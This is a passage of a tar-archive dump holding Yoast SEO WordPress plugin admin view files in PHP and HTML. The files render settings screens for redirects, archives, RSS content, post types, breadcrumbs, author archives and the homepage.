<div class="redirect_form_row wpseo_redirect_target_holder" id="row-wpseo_redirects_target">
<label class="textinput" for="wpseo_redirects_target">
<span class="title">
<?php
\esc_html_e( 'URL', 'wordpress-seo' )
?>
</span>
</label>
<input type="text" class="textinput" name="wpseo_redirects_target" id="wpseo_redirects_target" value="" tabindex="-1">
</div>
<br class="clear">
<button type="button" class="button button-primary" tabindex="-1">
<?php
\esc_html_e( 'Add Redirect', 'wordpress-seo' )
?>
</button>
</div>
</form>
<p class="desc"> </p>
<form id="plain" class="wpseo-redirects-table-form" method="post" action="">
<input type="hidden" class="wpseo_redirects_ajax_nonce" name="wpseo_redirects_ajax_nonce" value="6ccb86df42">
<input type="hidden" id="_wpnonce" name="_wpnonce" value="4b02cca185">
<input type="hidden" name="_wp_http_referer" value="/wp-admin/admin.php?page=wpseo_redirects"> <div class="tablenav top">
<div class="alignleft actions">
<select name="redirect-type" id="filter-by-redirect" tabindex="-1">
<option selected="selected" value="0">
<?php
\esc_html_e( 'All redirect types', 'wordpress-seo' )
?>
</option>
</select>
<input type="button" name="filter_action" id="post-query-submit" class="button" value="<?php \esc_attr_e( 'Filter', 'wordpress-seo' ); ?>" tabindex="-1">
</div>
<br class="clear">
</div>
<table class="wp-list-table widefat fixed striped table-view-list plain">
<thead>
<tr>
<td id="cb" class="manage-column column-cb check-column">
<input id="cb-select-all-1" type="checkbox" tabindex="-1">
</td>
<th scope="col" id="type" class="manage-column column-type column-primary sortable desc">
<a href="#" tabindex="-1">
<span>
<?php
\esc_html_e( 'Type', 'wordpress-seo' )
?>
</span>
<span class="sorting-indicator"></span>
</a>
</th>
<th scope="col" id="old" class="manage-column column-old sortable desc">
<a href="#" tabindex="-1">
<span>
<?php
\esc_html_e( 'Old URL', 'wordpress-seo' )
?>
</span>
<span class="sorting-indicator"></span>
</a>
</th>
<th scope="col" id="new" class="manage-column column-new sortable desc">
<a href="#" tabindex="-1">
<span>
<?php
\esc_html_e( 'New URL', 'wordpress-seo' )
?>
</span>
<span class="sorting-indicator"></span>
</a>
</th>
</tr>
</thead>
<tbody id="the-list">
<tr class="no-items">
<td class="colspanchange" colspan="4">
<?php
\esc_html_e( 'No items found.', 'wordpress-seo' )
?>
</td>
</tr>
</tbody>
<tfoot>
<tr>
<td class="manage-column column-cb check-column">
<input id="cb-select-all-2" type="checkbox" tabindex="-1">
</td>
<th scope="col" class="manage-column column-type column-primary sortable desc">
<a href="#" tabindex="-1">
<span>
<?php
\esc_html_e( 'Type', 'wordpress-seo' )
?>
</span>
<span class="sorting-indicator"></span></a>
</th>
<th scope="col" class="manage-column column-old sortable desc">
<a href="#" tabindex="-1">
<span>
<?php
\esc_html_e( 'Old URL', 'wordpress-seo' )
?>
</span>
<span class="sorting-indicator"></span>
</a>
</th>
<th scope="col" class="manage-column column-new sortable desc">
<a href="#" tabindex="-1">
<span>
<?php
\esc_html_e( 'New URL', 'wordpress-seo' )
?>
</span>
<span class="sorting-indicator"></span></a>
</th>
</tr>
</tfoot>
</table>
</form>
</div>
<br class="clear">
</div><!-- end of div wpseo_content_top --></div><!-- end of div wpseo_content_wrapper -->
</div>
tabs/metas/archives/help.php 0000666 00000003246 15112332326 0012062 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views\Archive
*/
$archives_help_content = [
sprintf(
/* translators: %1$s / %2$s: links to an article about duplicate content on yoast.com */
esc_html__( 'If you\'re running a one author blog, the author archive will be exactly the same as your homepage. This is what\'s called a %1$sduplicate content problem%2$s.', 'wordpress-seo' ),
'<a target="_blank" href="' . esc_url( WPSEO_Shortlinker::get( 'https://yoa.st/duplicate-content' ) ) . '">',
'</a>'
),
sprintf(
/* translators: %s expands to <code>noindex, follow</code> */
esc_html__( 'If this is the case on your site, you can choose to either disable it (which makes it redirect to the homepage), or to add %s to it so it doesn\'t show up in the search results.', 'wordpress-seo' ),
'<code>noindex,follow</code>'
),
esc_html__( 'Note that links to archives might be still output by your theme and you would need to remove them separately.', 'wordpress-seo' ),
esc_html__( 'Date-based archives could in some cases also be seen as duplicate content.', 'wordpress-seo' ),
];
$archives_help = new WPSEO_Admin_Help_Panel(
'search-appearance-archives',
__( 'Learn more about the archives setting', 'wordpress-seo' ),
implode( ' ', $archives_help_content ),
'has-wrapper'
);
// phpcs:ignore WordPress.Security.EscapeOutput -- get_button_html() output is properly escaped.
echo '<p class="help-button-inline"><strong>' . esc_html__( 'Archives settings help', 'wordpress-seo' ) . $archives_help->get_button_html() . '</strong><p>';
// phpcs:ignore WordPress.Security.EscapeOutput -- get_panel_html() output is properly escaped.
echo $archives_help->get_panel_html();
tabs/metas/paper-content/rss-content.php 0000666 00000004265 15112332326 0014366 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views\Rss
*
* @uses Yoast_Form $yform Form object.
*/
$textarea_atts = [
'cols' => '50',
'rows' => '5',
];
$yform->textarea( 'rssbefore', __( 'Content to put before each post in the feed', 'wordpress-seo' ), $textarea_atts );
$yform->textarea( 'rssafter', __( 'Content to put after each post in the feed', 'wordpress-seo' ), $textarea_atts );
$rss_variables_help = new WPSEO_Admin_Help_Panel(
'search-appearance-rss-variables',
__( 'Learn more about the available variables', 'wordpress-seo' ),
__( 'You can use the following variables within the content, they will be replaced by the value on the right.', 'wordpress-seo' ),
'has-wrapper'
);
// phpcs:ignore WordPress.Security.EscapeOutput -- get_button_html() output is properly escaped.
echo '<h2 class="help-button-inline">' . esc_html__( 'Available variables', 'wordpress-seo' ) . $rss_variables_help->get_button_html() . '</h2>';
// phpcs:ignore WordPress.Security.EscapeOutput -- get_panel_html() output is properly escaped.
echo $rss_variables_help->get_panel_html();
?>
<table class="wpseo yoast_help yoast-table-scrollable">
<thead>
<tr>
<th scope="col"><?php esc_html_e( 'Variable', 'wordpress-seo' ); ?></th>
<th scope="col"><?php esc_html_e( 'Description', 'wordpress-seo' ); ?></th>
</tr>
</thead>
<tbody>
<tr>
<td class="yoast-variable-name">%%AUTHORLINK%%</td>
<td class="yoast-variable-desc"><?php esc_html_e( 'A link to the archive for the post author, with the authors name as anchor text.', 'wordpress-seo' ); ?></td>
</tr>
<tr>
<td class="yoast-variable-name">%%POSTLINK%%</td>
<td class="yoast-variable-desc"><?php esc_html_e( 'A link to the post, with the title as anchor text.', 'wordpress-seo' ); ?></td>
</tr>
<tr>
<td class="yoast-variable-name">%%BLOGLINK%%</td>
<td class="yoast-variable-desc"><?php esc_html_e( "A link to your site, with your site's name as anchor text.", 'wordpress-seo' ); ?></td>
</tr>
<tr>
<td class="yoast-variable-name">%%BLOGDESCLINK%%</td>
<td class="yoast-variable-desc"><?php esc_html_e( "A link to your site, with your site's name and description as anchor text.", 'wordpress-seo' ); ?></td>
</tr>
</tbody>
</table>
tabs/metas/paper-content/post-type-content.php 0000666 00000011702 15112332326 0015515 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views\Taxonomies
*
* @uses Yoast_Form $yform Form object.
* @uses WP_Post_Type $wpseo_post_type
* @uses Yoast_View_Utils $view_utils
* @uses WPSEO_Admin_Recommended_Replace_Vars $recommended_replace_vars
* @uses WPSEO_Admin_Editor_Specific_Replace_Vars $editor_specific_replace_vars
*/
$single_label = $wpseo_post_type->labels->singular_name;
$paper_style = false;
/* translators: %s is the singular version of the post type's name. */
echo '<h3>' . esc_html( sprintf( __( 'Single %s settings', 'wordpress-seo' ), $wpseo_post_type->labels->singular_name ) ) . '</h3>';
require __DIR__ . '/post_type/post-type.php';
/**
* WARNING: This hook is intended for internal use only.
* Don't use it in your code as it will be removed shortly.
*/
// phpcs:ignore Yoast.NamingConventions.ValidHookName.MaxExceeded -- Added _internal suffix for clarity.
do_action( 'Yoast\WP\SEO\admin_post_types_beforearchive_internal', $yform, $wpseo_post_type->name );
/**
* Allow adding custom fields to the admin meta page, just before the archive settings - Content Types tab.
*
* @deprecated 19.10 No replacement available.
*
* @param Yoast_Form $yform The Yoast_Form object.
* @param string $name The post type name.
*/
do_action_deprecated(
'Yoast\WP\SEO\admin_post_types_beforearchive',
[ $yform, $wpseo_post_type->name ],
'19.10',
'',
'This action is going away with no replacement. If you want to add settings that interact with Yoast SEO, please create your own settings page.'
);
if ( $wpseo_post_type->name === 'product' && YoastSEO()->helpers->woocommerce->is_active() ) {
require __DIR__ . '/post_type/woocommerce-shop-page.php';
return;
}
if ( WPSEO_Post_Type::has_archive( $wpseo_post_type ) ) {
$plural_label = $wpseo_post_type->labels->name;
$archive_url = get_post_type_archive_link( $wpseo_post_type->name );
$label = '<a href="' . esc_url( $archive_url ) . '">' . esc_html( $plural_label ) . '</a>';
/* translators: %s is the plural version of the post type's name. */
echo '<h3>' . esc_html( sprintf( __( '%s archive settings', 'wordpress-seo' ), $plural_label ) ) . '</h3>';
echo '<div class="yoast-settings-section">';
$custom_post_type_archive_help = $view_utils->search_results_setting_help( $wpseo_post_type, 'archive' );
$yform->index_switch(
'noindex-ptarchive-' . $wpseo_post_type->name,
sprintf(
/* translators: %s expands to the post type's name with a link to the archive. */
esc_html__( 'the archive for %s', 'wordpress-seo' ),
$label
),
$custom_post_type_archive_help->get_button_html() . $custom_post_type_archive_help->get_panel_html()
);
echo '</div>';
echo '<div class="yoast-settings-section">';
$page_type = $recommended_replace_vars->determine_for_archive( $wpseo_post_type->name );
$editor = new WPSEO_Replacevar_Editor(
$yform,
[
'title' => 'title-ptarchive-' . $wpseo_post_type->name,
'description' => 'metadesc-ptarchive-' . $wpseo_post_type->name,
'page_type_recommended' => $recommended_replace_vars->determine_for_archive( $wpseo_post_type->name ),
'page_type_specific' => $editor_specific_replace_vars->determine_for_archive( $wpseo_post_type->name ),
'paper_style' => false,
]
);
$editor->render();
echo '</div>';
if ( WPSEO_Options::get( 'breadcrumbs-enable' ) === true ) {
echo '<div class="yoast-settings-section">';
$yform->textinput_extra_content( 'bctitle-ptarchive-' . $wpseo_post_type->name, __( 'Breadcrumbs title', 'wordpress-seo' ) );
echo '</div>';
}
/**
* WARNING: This hook is intended for internal use only.
* Don't use it in your code as it will be removed shortly.
*/
// phpcs:ignore Yoast.NamingConventions.ValidHookName.MaxExceeded -- Added _internal suffix for clarity.
do_action( 'Yoast\WP\SEO\admin_post_types_archive_internal', $yform, $wpseo_post_type->name );
/**
* Allow adding custom fields to the admin meta page at the end of the archive settings for a post type - Content Types tab.
*
* @deprecated 19.10 No replacement available.
*
* @param Yoast_Form $yform The Yoast_Form object.
* @param string $name The post type name.
*/
do_action_deprecated(
'Yoast\WP\SEO\admin_post_types_archive',
[ $yform, $wpseo_post_type->name ],
'19.10',
'',
'This action is going away with no replacement. If you want to add settings that interact with Yoast SEO, please create your own settings page.'
);
}
/**
* Allow adding a custom checkboxes to the admin meta page - Post Types tab.
*
* @deprecated 16.3 Use the {@see 'Yoast\WP\SEO\admin_post_types_beforearchive'} action instead.
*
* @param Yoast_Form $yform The Yoast_Form object.
* @param string $name The post type name.
*/
do_action_deprecated(
'wpseo_admin_page_meta_post_types',
[ $yform, $wpseo_post_type->name ],
'16.3',
'Yoast\WP\SEO\admin_post_types_beforearchive'
);
tabs/metas/paper-content/front-page-content.php 0000666 00000004555 15112332326 0015623 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views\PaperContent
*
* @uses Yoast_Form $yform Form object.
* @uses WP_Taxonomy $wpseo_post_type
* @uses Yoast_View_Utils $view_utils
* @uses WPSEO_Admin_Recommended_Replace_Vars $recommended_replace_vars
*/
use Yoast\WP\SEO\Presenters\Admin\Badge_Presenter;
$view_utils = new Yoast_View_Utils();
$opengraph_disabled_alert = $view_utils->generate_opengraph_disabled_alert( 'homepage' );
if ( ! empty( $opengraph_disabled_alert ) ) {
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Is correctly escaped in the generate_opengraph_disabled_alert() method.
echo $opengraph_disabled_alert;
}
else {
echo '<div class="yoast-settings-section">';
echo '<div class="social-settings-heading-container">';
echo '<h3 class="social-settings-heading">' . \esc_html__( 'Social settings', 'wordpress-seo' ) . '</h3>';
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Is correctly escaped in the Badge_Presenter.
echo new Badge_Presenter( 'global-templates-homepage', '', 'global-templates' );
echo '</div>';
echo '<p>' . esc_html__( 'These are the image, title and description used when a link to your homepage is shared on social media.', 'wordpress-seo' ) . '</p>';
printf(
'<div
id="%1$s"
data-react-image-portal
data-react-image-portal-target-image="%2$s"
data-react-image-portal-target-image-id="%3$s"
data-react-image-portal-has-image-validation="%4$s"
></div>',
'yoast-og-frontpage-image-select',
'open_graph_frontpage_image',
'open_graph_frontpage_image_id',
true
);
$yform->hidden( 'open_graph_frontpage_image', 'open_graph_frontpage_image' );
$yform->hidden( 'open_graph_frontpage_image_id', 'open_graph_frontpage_image_id' );
$editor = new WPSEO_Replacevar_Editor(
$yform,
[
'title' => 'open_graph_frontpage_title',
'description' => 'open_graph_frontpage_desc',
'page_type_recommended' => 'homepage',
'page_type_specific' => 'page',
'paper_style' => false,
'label_title' => __( 'Social title', 'wordpress-seo' ),
'label_description' => __( 'Social description', 'wordpress-seo' ),
'description_placeholder' => '',
]
);
$editor->render();
echo '</div>';
}
tabs/metas/paper-content/post_type/woocommerce-shop-page.php 0000666 00000001773 15112332326 0020336 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views\General
*
* @uses WP_Post_Type $wpseo_post_type
*/
$description = esc_html__( 'You haven\'t set a Shop page in your WooCommerce settings. Please do this first.', 'wordpress-seo' );
if ( YoastSEO()->helpers->woocommerce->get_shop_page_id() !== -1 ) {
$description = sprintf(
/* translators: %1$s expands to an opening anchor tag, %2$s expands to a closing anchor tag. */
esc_html__( 'You can edit the SEO metadata for this custom type on the %1$sShop page%2$s.', 'wordpress-seo' ),
'<a href="' . esc_url( get_edit_post_link( YoastSEO()->helpers->woocommerce->get_shop_page_id() ) ) . '">',
'</a>'
);
}
/* translators: %s expands to the post type name. */
echo '<h3>', esc_html( sprintf( __( 'Settings for %s archive', 'wordpress-seo' ), $wpseo_post_type->labels->name ) ), '</h3>';
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: Output is properly escaped already, see above.
echo '<p>', $description, '</p>';
tabs/metas/paper-content/post_type/post-type.php 0000666 00000006526 15112332326 0016103 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views\PaperContent
*
* @uses Yoast_Form $yform Form object.
* @uses WP_Taxonomy $wpseo_post_type
* @uses Yoast_View_Utils $view_utils
* @uses WPSEO_Admin_Recommended_Replace_Vars $recommended_replace_vars
* @uses WPSEO_Admin_Editor_Specific_Replace_Vars $editor_specific_replace_vars
*/
use Yoast\WP\SEO\Config\Schema_Types;
use Yoast\WP\SEO\Helpers\Schema\Article_Helper;
$show_post_type_help = $view_utils->search_results_setting_help( $wpseo_post_type );
$noindex_option_name = 'noindex-' . $wpseo_post_type->name;
echo '<div class="yoast-settings-section">';
$yform->index_switch(
$noindex_option_name,
$wpseo_post_type->labels->name,
$show_post_type_help->get_button_html() . $show_post_type_help->get_panel_html()
);
$yform->show_hide_switch(
'display-metabox-pt-' . $wpseo_post_type->name,
/* translators: %s expands to an indexable object's name, like a post type or taxonomy */
sprintf( esc_html__( 'Show SEO settings for %1$s?', 'wordpress-seo' ), $wpseo_post_type->labels->name )
);
echo '</div>';
echo '<div class="yoast-settings-section">';
$editor = new WPSEO_Replacevar_Editor(
$yform,
[
'title' => 'title-' . $wpseo_post_type->name,
'description' => 'metadesc-' . $wpseo_post_type->name,
'page_type_recommended' => $recommended_replace_vars->determine_for_post_type( $wpseo_post_type->name ),
'page_type_specific' => $editor_specific_replace_vars->determine_for_post_type( $wpseo_post_type->name ),
'paper_style' => false,
]
);
$editor->render();
echo '</div>';
echo '<div class="yoast-settings-section">';
// Schema settings.
$article_helper = new Article_Helper();
$schema_page_type_option = 'schema-page-type-' . $wpseo_post_type->name;
$schema_article_type_option = 'schema-article-type-' . $wpseo_post_type->name;
$yform->hidden( $schema_page_type_option );
if ( $article_helper->is_article_post_type( $wpseo_post_type->name ) ) {
$schema_article_type_option_value = WPSEO_Options::get( $schema_article_type_option );
/** This filter is documented in inc/options/class-wpseo-option-titles.php */
$allowed_article_types = apply_filters( 'wpseo_schema_article_types', Schema_Types::ARTICLE_TYPES );
if ( ! array_key_exists( $schema_article_type_option_value, $allowed_article_types ) ) {
$schema_article_type_option_value = WPSEO_Options::get_default( 'wpseo_titles', $schema_article_type_option );
}
$yform->hidden( $schema_article_type_option, '', $schema_article_type_option_value );
}
printf(
'<div class="yoast-schema-settings-container" data-schema-settings data-schema-settings-post-type="%1$s" data-schema-settings-post-type-name="%2$s" data-schema-settings-page-type-field-id="%3$s" data-schema-settings-article-type-field-id="%4$s" data-schema-settings-page-type-default="%5$s" data-schema-settings-article-type-default="%6$s"></div>',
esc_attr( $wpseo_post_type->name ),
esc_attr( $wpseo_post_type->labels->name ),
esc_attr( 'hidden_' . $schema_page_type_option ),
esc_attr( 'hidden_' . $schema_article_type_option ),
esc_attr( WPSEO_Options::get_default( 'wpseo_titles', $schema_page_type_option ) ),
esc_attr( WPSEO_Options::get_default( 'wpseo_titles', $schema_article_type_option ) )
);
echo '</div>';
tabs/metas/paper-content/media-content.php 0000666 00000001620 15112332326 0014626 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views\Media
*
* @uses Yoast_Form $yform Form object.
*/
$wpseo_post_type = get_post_type_object( 'attachment' );
$recommended_replace_vars = new WPSEO_Admin_Recommended_Replace_Vars();
$editor_specific_replace_vars = new WPSEO_Admin_Editor_Specific_Replace_Vars();
$view_utils = new Yoast_View_Utils();
?>
<p><strong><?php esc_html_e( 'We recommend you set this to Yes.', 'wordpress-seo' ); ?></strong></p>
<?php
$yoast_free_disable_attachments_texts = [
'on' => __( 'Yes', 'wordpress-seo' ),
'off' => __( 'No', 'wordpress-seo' ),
];
$yform->toggle_switch(
'disable-attachment',
$yoast_free_disable_attachments_texts,
__( 'Redirect attachment URLs to the attachment itself?', 'wordpress-seo' )
);
?>
<div id="media_settings">
<br/>
<br/>
<?php
require __DIR__ . '/post_type/post-type.php';
?>
</div>
tabs/metas/paper-content/breadcrumbs-content.php 0000666 00000010431 15112332326 0016040 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views\Breadcrumbs
*
* @uses Yoast_Form $yform Form object.
*/
echo '<div id="breadcrumbsinfo">';
$yform->textinput( 'breadcrumbs-sep', __( 'Separator between breadcrumbs', 'wordpress-seo' ) );
$yform->textinput( 'breadcrumbs-home', __( 'Anchor text for the Homepage', 'wordpress-seo' ) );
$yform->textinput( 'breadcrumbs-prefix', __( 'Prefix for the breadcrumb path', 'wordpress-seo' ) );
$yform->textinput( 'breadcrumbs-archiveprefix', __( 'Prefix for Archive breadcrumbs', 'wordpress-seo' ) );
$yform->textinput( 'breadcrumbs-searchprefix', __( 'Prefix for Search Page breadcrumbs', 'wordpress-seo' ) );
$yform->textinput( 'breadcrumbs-404crumb', __( 'Breadcrumb for 404 Page', 'wordpress-seo' ) );
echo '<br/>';
if ( get_option( 'show_on_front' ) === 'page' && get_option( 'page_for_posts' ) > 0 ) {
$yform->show_hide_switch( 'breadcrumbs-display-blog-page', __( 'Show Blog page', 'wordpress-seo' ) );
}
$yoast_free_breadcrumb_bold_texts = [
'on' => __( 'Bold', 'wordpress-seo' ),
'off' => __( 'Regular', 'wordpress-seo' ),
];
$yform->toggle_switch(
'breadcrumbs-boldlast',
$yoast_free_breadcrumb_bold_texts,
__( 'Bold the last page', 'wordpress-seo' )
);
echo '<br/><br/>';
/*
* WPSEO_Post_Type::get_accessible_post_types() should *not* be used here.
* Even posts that are not indexed, should be able to get breadcrumbs for accessibility/usability.
*/
$post_types = get_post_types( [ 'public' => true ], 'objects' );
if ( is_array( $post_types ) && $post_types !== [] ) {
echo '<h2>' . esc_html__( 'Taxonomy to show in breadcrumbs for content types', 'wordpress-seo' ) . '</h2>';
foreach ( $post_types as $pt ) {
$taxonomies = get_object_taxonomies( $pt->name, 'objects' );
if ( is_array( $taxonomies ) && $taxonomies !== [] ) {
$values = [ 0 => __( 'None', 'wordpress-seo' ) ];
foreach ( $taxonomies as $yoast_seo_taxonomy ) {
if ( ! $yoast_seo_taxonomy->public ) {
continue;
}
$values[ $yoast_seo_taxonomy->name ] = $yoast_seo_taxonomy->labels->singular_name;
}
$label = $pt->labels->name . ' (<code>' . $pt->name . '</code>)';
$yform->select( 'post_types-' . $pt->name . '-maintax', $label, $values );
unset( $values, $yoast_seo_taxonomy );
}
unset( $taxonomies );
}
unset( $pt );
}
echo '<br/>';
$taxonomies = get_taxonomies(
[
'public' => true,
],
'objects'
);
if ( is_array( $taxonomies ) && $taxonomies !== [] ) {
echo '<h2>' . esc_html__( 'Content type archive to show in breadcrumbs for taxonomies', 'wordpress-seo' ) . '</h2>';
foreach ( $taxonomies as $yoast_seo_taxonomy ) {
$values = [ 0 => __( 'None', 'wordpress-seo' ) ];
if ( get_option( 'show_on_front' ) === 'page' && get_option( 'page_for_posts' ) > 0 ) {
$values['post'] = __( 'Blog', 'wordpress-seo' );
}
if ( is_array( $post_types ) && $post_types !== [] ) {
foreach ( $post_types as $pt ) {
if ( WPSEO_Post_Type::has_archive( $pt ) ) {
$values[ $pt->name ] = $pt->labels->name;
}
}
unset( $pt );
}
$label = $yoast_seo_taxonomy->labels->singular_name . ' (<code>' . $yoast_seo_taxonomy->name . '</code>)';
$yform->select( 'taxonomy-' . $yoast_seo_taxonomy->name . '-ptparent', $label, $values );
unset( $values, $yoast_seo_taxonomy );
}
}
unset( $taxonomies, $post_types );
?>
<br class="clear"/>
</div>
<h2><?php esc_html_e( 'How to insert breadcrumbs in your theme', 'wordpress-seo' ); ?></h2>
<?php
echo '<p>';
printf(
/* translators: %1$s / %2$s: links to the breadcrumbs implementation page on the Yoast knowledgebase */
esc_html__( 'Usage of this breadcrumbs feature is explained in %1$sour knowledge-base article on breadcrumbs implementation%2$s.', 'wordpress-seo' ),
'<a href="' . esc_url( WPSEO_Shortlinker::get( 'https://yoa.st/breadcrumbs' ) ) . '" target="_blank">',
'</a>'
);
echo '</p>';
if ( ! current_theme_supports( 'yoast-seo-breadcrumbs' ) ) {
echo '<p>';
/* translators: %1$s / %2$s: links to the breadcrumbs implementation page on the Yoast knowledgebase */
echo esc_html_e( 'Note: You can always choose to enable / disable them for your theme below. This setting will not apply to breadcrumbs inserted through a widget, a block or a shortcode.', 'wordpress-seo' );
echo '</p>';
$yform->light_switch( 'breadcrumbs-enable', __( 'Enable Breadcrumbs for your theme', 'wordpress-seo' ) );
}
tabs/metas/paper-content/integrations/wincher.php 0000666 00000000405 15112332326 0016244 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views\Integrations
*
* @uses Yoast_Form $yform Form object.
*/
$yform = Yoast_Form::get_instance();
// Ensure we don't accidentally reset the website ID.
$yform->hidden( 'wincher_website_id' );
tabs/metas/paper-content/special-pages.php 0000666 00000001461 15112332326 0014617 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views\Archive
*
* @uses Yoast_Form $yform Form object.
*/
$special_pages_help = new WPSEO_Admin_Help_Panel(
'search-appearance-special-pages',
__( 'Learn more about the special pages setting', 'wordpress-seo' ),
sprintf(
/* translators: %s expands to <code>noindex, follow</code>. */
__( 'These pages will be %s by default, so they will never show up in search results.', 'wordpress-seo' ),
'<code>noindex, follow</code>'
),
'has-wrapper'
);
$editor = new WPSEO_Replacevar_Field( $yform, 'title-search-wpseo', __( 'Search pages', 'wordpress-seo' ), 'search', 'search' );
$editor->render();
echo '<br/>';
$editor = new WPSEO_Replacevar_Field( $yform, 'title-404-wpseo', __( '404 pages', 'wordpress-seo' ), '404', '404' );
$editor->render();
tabs/metas/paper-content/author-archive-settings.php 0000666 00000007213 15112332326 0016662 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views\Archive
*
* @uses Yoast_Form $yform Form object.
*/
$yform->toggle_switch(
'disable-author',
[
'off' => __( 'On', 'wordpress-seo' ),
'on' => __( 'Off', 'wordpress-seo' ),
],
__( 'Author archives', 'wordpress-seo' )
);
?>
<div id='author-archives-titles-metas-content' class='archives-titles-metas-content'>
<div class="yoast-settings-section">
<?php
$author_archives_help = new WPSEO_Admin_Help_Panel(
'noindex-author-wpseo',
esc_html__( 'Help on the author archives search results setting', 'wordpress-seo' ),
sprintf(
/* translators: 1: expands to <code>noindex</code>; 2: link open tag; 3: link close tag. */
esc_html__( 'Not showing the archive for authors in the search results technically means those will have a %1$s robots meta and will be excluded from XML sitemaps. %2$sMore info on the search results settings%3$s.', 'wordpress-seo' ),
'<code>noindex</code>',
'<a href="' . esc_url( WPSEO_Shortlinker::get( 'https://yoa.st/show-x' ) ) . '" target="_blank" rel="noopener noreferrer">',
'</a>'
)
);
$yform->index_switch(
'noindex-author-wpseo',
__( 'author archives', 'wordpress-seo' ),
$author_archives_help->get_button_html() . $author_archives_help->get_panel_html()
);
?>
<div id='noindex-author-noposts-wpseo-container'>
<?php
$author_archives_no_posts_help = new WPSEO_Admin_Help_Panel(
'noindex-author-noposts-wpseo',
esc_html__( 'Help on the authors without posts archive search results setting', 'wordpress-seo' ),
sprintf(
/* translators: 1: expands to <code>noindex</code>; 2: link open tag; 3: link close tag. */
esc_html__( 'Not showing the archives for authors without posts in the search results technically means those will have a %1$s robots meta and will be excluded from XML sitemaps. %2$sMore info on the search results settings%3$s.', 'wordpress-seo' ),
'<code>noindex</code>',
'<a href="' . esc_url( WPSEO_Shortlinker::get( 'https://yoa.st/show-x' ) ) . '" target="_blank" rel="noopener noreferrer">',
'</a>'
)
);
$yform->index_switch(
'noindex-author-noposts-wpseo',
__( 'archives for authors without posts', 'wordpress-seo' ),
$author_archives_no_posts_help->get_button_html() . $author_archives_no_posts_help->get_panel_html()
);
?>
</div>
</div>
<?php
echo '<div class="yoast-settings-section">';
$recommended_replace_vars = new WPSEO_Admin_Recommended_Replace_Vars();
$editor_specific_replace_vars = new WPSEO_Admin_Editor_Specific_Replace_Vars();
$editor = new WPSEO_Replacevar_Editor(
$yform,
[
'title' => 'title-author-wpseo',
'description' => 'metadesc-author-wpseo',
'page_type_recommended' => $recommended_replace_vars->determine_for_archive( 'author' ),
'page_type_specific' => $editor_specific_replace_vars->determine_for_archive( 'author' ),
'paper_style' => false,
]
);
$editor->render();
echo '</div>';
/**
* WARNING: This hook is intended for internal use only.
* Don't use it in your code as it will be removed shortly.
*/
// phpcs:ignore Yoast.NamingConventions.ValidHookName.MaxExceeded -- Added _internal suffix for clarity.
do_action( 'Yoast\WP\SEO\admin_author_archives_meta_internal', $yform );
/**
* Allow adding custom fields to the admin meta page - Author archives panel in the Archives tab.
*
* @deprecated 19.10 No replacement available.
*
* @param Yoast_Form $yform The Yoast_Form object.
*/
do_action_deprecated(
'Yoast\WP\SEO\admin_author_archives_meta',
[ $yform ],
'19.10',
'',
'This action is going away with no replacement. If you want to add settings that interact with Yoast SEO, please create your own settings page.'
);
?>
</div>
tabs/metas/paper-content/general/homepage.php 0000666 00000003206 15112332326 0015303 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views\General
*
* @uses Yoast_Form $yform Form object.
*/
if ( get_option( 'show_on_front' ) === 'posts' ) {
echo '<div class="yoast-settings-section">';
echo esc_html__( 'This is what shows in the search results when people find your homepage. This means this is probably what they see when they search for your brand name.', 'wordpress-seo' );
$editor = new WPSEO_Replacevar_Editor(
$yform,
[
'title' => 'title-home-wpseo',
'description' => 'metadesc-home-wpseo',
'page_type_recommended' => 'homepage',
'page_type_specific' => 'page',
'paper_style' => false,
]
);
$editor->render();
echo '</div>';
require __DIR__ . '/../front-page-content.php';
}
else {
$wpseo_page_on_front = get_option( 'page_on_front' );
$wpseo_page_for_posts = get_option( 'page_for_posts' );
if ( empty( $wpseo_page_on_front ) ) {
$wpseo_page_on_front = $wpseo_page_for_posts;
}
printf(
/* translators: 1: link open tag; 2: link close tag. */
esc_html__( 'You can determine the title and description for the homepage by %1$sediting the homepage itself%2$s.', 'wordpress-seo' ),
'<a href="' . esc_url( get_edit_post_link( $wpseo_page_on_front ) ) . '">',
'</a>'
);
if ( $wpseo_page_for_posts > 0 ) {
echo '<p>';
printf(
/* translators: 1: link open tag; 2: link close tag. */
esc_html__( 'You can determine the title and description for the posts page by %1$sediting the posts page itself%2$s.', 'wordpress-seo' ),
'<a href="' . esc_url( get_edit_post_link( $wpseo_page_for_posts ) ) . '">',
'</a>'
);
echo '</p>';
}
}
tabs/metas/paper-content/general/title-separator.php 0000666 00000001142 15112332326 0016632 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views\General
*
* @uses Yoast_Form $yform Form object.
*/
echo esc_html__( 'Choose the symbol to use as your title separator. This will display, for instance, between your post title and site name. Symbols are shown in the size they\'ll appear in the search results.', 'wordpress-seo' );
$legend = __( 'Title separator symbol', 'wordpress-seo' );
$legend_attr = [ 'class' => 'radiogroup screen-reader-text' ];
$yform->radio( 'separator', WPSEO_Option_Titles::get_instance()->get_separator_options_for_display(), $legend, $legend_attr );
tabs/metas/paper-content/general/knowledge-graph.php 0000666 00000010561 15112332326 0016576 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views\General
*
* @uses Yoast_Form $yform Form object.
*/
echo '<h3>', esc_html__( 'Website', 'wordpress-seo' ),'</h3>';
